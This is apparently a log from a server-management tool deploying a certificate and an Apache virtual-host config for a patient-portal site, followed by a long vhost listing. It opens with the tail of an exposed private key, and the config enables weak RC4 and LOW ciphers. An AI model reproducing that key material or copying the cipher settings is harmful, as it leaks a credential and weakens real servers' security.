sxR4ib90BHEPX6t+uKBAZr89SLmln+UY8+Tnf0YhWyG9acWi2kDHRBEwwp0IsxY0
PdZ57TkmCauGo9HDkoe6GgvwqwKBgQDjzwJUTogGgP4EnDW+F/XAF+kkjHi6dVq5
zjZ96Sxbrt8S27JpmxsRnZBBGeIxW+3MRs5AJuagGB29k0+cUimVSVyBuW3CjSu3
MDL4PrG6gHdvlELK1AjONZ8uZx7Nj3DY+/cFHQdRIYqY/wvD8p3Aap2JXHGWAZUl
bmcsqF/jIwKBgQDUJZBPSyIIbz0bwW77XE155SNjMoctJhd3zrumn7Ce23emjkKP
pTlyJeloPbB0YSpKxYfi/CQOiD3Il18IdUKKsZx82/3Q2pIyIvDpIVsPKTA1Troa
6SsW8lT/THRXg6bbxEL/CrckKUGPPE04L3MTi4if1x6cPI6xlSU/qv67YQKBgFOP
cBRKhfyUvhgk0FW85iii3KLKX9JND41OBZDjwaCToUGCkovIGAK7H9mxS9W9GZmv
cyH24utgTTBnY3E8dgJLWYI/6PHO5HUaWefS31BApQ6pfGJ3qg8xfgUAUD0oW0VM
DsyyXCe3POZnzwH98T1OHiDvZr6WMAX93Bx2Wk2vAoGAVlhwqimB5v1h2X0JPGyY
BHUgPnej4S6/oxPNraH7hzbfGO4lg9NQ9bgWm2F72ctBza/bLEgWyTBaDBUrddOw
RsLzWccb2yTxSgDFgoJvO4DyqkIIBj/U0DnrB5SZIygGRc1bMrfEaa0VeheLn/ph
GTOxiCqUI9e0dfLl3tRt/bE=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-06 12:44:17:
chmod 755 /tmp/pkp802680; /tmp/pkp802680; rm /tmp/pkp802680
2026-01-06 12:44:17:
dir=/etc/ssl/certs
2026-01-06 12:44:18:
PUT: /tmp/pkp768879
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-06 12:44:18:
chmod 755 /tmp/pkp768879; /tmp/pkp768879; rm /tmp/pkp768879
2026-01-06 12:44:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2026-01-06 12:44:18:
PUT: /tmp/pkp433768
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi
2026-01-06 12:44:18:
chmod 755 /tmp/pkp433768; /tmp/pkp433768; rm /tmp/pkp433768
2026-01-06 12:44:18:
2026-01-06 12:44:18:
PUT: /tmp/pkp491839
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-06 12:44:18:
chmod 755 /tmp/pkp491839; /tmp/pkp491839; rm /tmp/pkp491839
2026-01-06 12:44:18:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-06 12:44:18: Establishing a connection
2026-01-06 12:44:18:
PUT: /tmp/pkp213456
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-06 12:44:18:
chmod 755 /tmp/pkp213456; /tmp/pkp213456; rm /tmp/pkp213456
2026-01-06 12:44:18:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
